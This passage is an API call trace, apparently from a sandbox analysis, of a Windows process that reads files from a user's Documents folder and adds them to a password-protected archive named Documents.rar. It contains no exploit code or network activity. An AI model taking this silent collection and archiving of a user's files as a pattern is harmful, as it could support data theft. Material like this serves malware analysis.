(HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.894] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0082.894] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b00 | out: hHeap=0x1162e7c0000) returned 1 [0082.894] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x6d) returned 0x1162e875640 [0082.894] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e875640, Size=0xa9) returned 0x1162e7f5e00 [0082.894] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f5e02*, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f5e02*, lpNumberOfBytesWritten=0x141a0d82c0*=0xa7, lpOverlapped=0x0) returned 1 [0082.894] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a40 [0082.894] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa7) returned 0x1162e8740f0 [0082.894] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0082.894] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f5e00 | out: hHeap=0x1162e7c0000) returned 1 [0082.894] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x143b16 [0082.894] CloseHandle (hObject=0x350) returned 1 [0082.894] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.894] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.894] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.895] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.895] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.895] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.895] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\qx eo7hw.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.895] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.895] GetTickCount () returned 0x2a86b [0082.895] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.895] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.895] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.895] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.895] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="9NEdDu7cj0FPBRK.odt") returned 19 [0082.895] SetWindowTextW (hWnd=0x10300, lpString="Qx eo7HW.odt") returned 1 [0082.896] GetTickCount () returned 0x2a86b [0082.896] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.896] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.896] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.896] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.896] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x17d)) [0082.896] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.896] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17422489183) returned 1 [0082.896] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x10679, lpOverlapped=0x0) returned 1 [0082.897] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9e6b9, nNumberOfBytesToRead=0xef987, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9e6b9*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.897] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.897] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.897] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0082.897] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.897] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e888680 [0082.897] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dd30 [0082.897] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.897] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e8886d0 [0082.897] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dd30 | out: hHeap=0x1162e7c0000) returned 1 [0082.897] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0082.897] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0082.897] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.897] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b00 | out: hHeap=0x1162e7c0000) returned 1 [0082.897] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a70 | out: hHeap=0x1162e7c0000) returned 1 [0082.898] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x5d) returned 0x1162e7f9530 [0082.898] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f9530, Size=0x99) returned 0x1162e873b70 [0082.898] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8886d0 | out: hHeap=0x1162e7c0000) returned 1 [0082.898] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e873b70 | out: hHeap=0x1162e7c0000) returned 1 [0082.900] GetTickCount () returned 0x2a86b [0082.900] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17422854279) returned 1 [0082.900] GetTickCount () returned 0x2a86b [0082.900] GetTickCount () returned 0x2a86b [0082.900] GetTickCount () returned 0x2a86b [0082.900] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.900] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.900] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.900] ResetEvent (hEvent=0x344) returned 1 [0082.900] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.903] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.903] ResetEvent (hEvent=0x344) returned 1 [0082.903] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.906] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.906] ResetEvent (hEvent=0x344) returned 1 [0082.906] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.908] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.908] GetTickCount () returned 0x2a87b [0082.908] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17423656811) returned 1 [0082.908] GetTickCount () returned 0x2a87b [0082.908] GetTickCount () returned 0x2a87b [0082.908] GetTickCount () returned 0x2a87b [0082.908] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.908] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.908] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.908] ResetEvent (hEvent=0x33c) returned 1 [0082.908] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.909] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.909] ResetEvent (hEvent=0x33c) returned 1 [0082.909] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.910] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.910] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.910] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.910] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x143b16 [0082.910] SetFilePointer (in: hFile=0x32c, lDistanceToMove=151, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x143bad [0082.910] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.910] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.910] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.910] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.910] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x10730, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x10730, lpOverlapped=0x0) returned 1 [0082.911] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.911] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.911] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1325846, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x143b16 [0082.911] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x143b16 [0082.911] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.911] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.911] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888810 [0082.911] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dd70 [0082.911] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.911] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x48) returned 0x1162e889120 [0082.911] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dd70 | out: hHeap=0x1162e7c0000) returned 1 [0082.911] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0082.911] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0082.912] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.912] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0082.912] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a70 | out: hHeap=0x1162e7c0000) returned 1 [0082.912] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x5d) returned 0x1162e7f9530 [0082.912] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f9530, Size=0x99) returned 0x1162e874300 [0082.912] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e874302*, nNumberOfBytesToWrite=0x97, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e874302*, lpNumberOfBytesWritten=0x141a0d82c0*=0x97, lpOverlapped=0x0) returned 1 [0082.912] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.912] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x97) returned 0x1163209b8c0 [0082.912] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0082.912] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e874300 | out: hHeap=0x1162e7c0000) returned 1 [0082.912] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1542dd [0082.912] CloseHandle (hObject=0x350) returned 1 [0082.912] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.912] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.912] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.912] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.912] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jfYQRF.csv", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.912] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.912] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jfYQRF.csv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\jfyqrf.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.912] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.912] GetTickCount () returned 0x2a87b [0082.912] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.913] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.913] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.913] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.913] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="Qx eo7HW.odt") returned 12 [0082.913] SetWindowTextW (hWnd=0x10300, lpString="jfYQRF.csv") returned 1 [0082.913] GetTickCount () returned 0x2a87b [0082.913] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.913] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.914] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.914] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.914] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x18d)) [0082.914] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.914] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17424228922) returned 1 [0082.914] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x422, lpOverlapped=0x0) returned 1 [0082.914] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e462, nNumberOfBytesToRead=0xffbde, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e462*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.914] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.914] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.914] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b00, Size=0x48) returned 0x1162e888f40 [0082.914] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.914] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.914] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ea0 [0082.915] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.915] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888f40 | out: hHeap=0x1162e7c0000) returned 1 [0082.915] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0082.915] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0082.915] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0082.915] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0082.915] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e60, Size=0x53) returned 0x1163204d460 [0082.915] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x8f) returned 0x1163209af60 [0082.915] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.915] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209af60 | out: hHeap=0x1162e7c0000) returned 1 [0082.920] GetTickCount () returned 0x2a88a [0082.920] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17424875515) returned 1 [0082.920] GetTickCount () returned 0x2a88a [0082.920] GetTickCount () returned 0x2a88a [0082.920] GetTickCount () returned 0x2a88a [0082.920] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.924] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.924] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.924] ResetEvent (hEvent=0x344) returned 1 [0082.924] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.924] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.924] GetTickCount () returned 0x2a88a [0082.924] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17425298146) returned 1 [0082.924] GetTickCount () returned 0x2a88a [0082.924] GetTickCount () returned 0x2a88a [0082.924] GetTickCount () returned 0x2a88a [0082.924] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.924] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.925] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.925] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.925] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.925] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1542dd [0082.925] SetFilePointer (in: hFile=0x32c, lDistanceToMove=141, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x15436a [0082.925] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.925] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.925] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.925] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.925] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x460, lpOverlapped=0x0) returned 1 [0082.925] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.925] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.925] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1393373, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1542dd [0082.925] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1542dd [0082.925] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.925] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0082.925] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e8893f0 [0082.925] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.925] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b00 [0082.926] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b00, Size=0x48) returned 0x1162e888ef0 [0082.926] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.926] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893f0 | out: hHeap=0x1162e7c0000) returned 1 [0082.926] RtlAllocateHeap 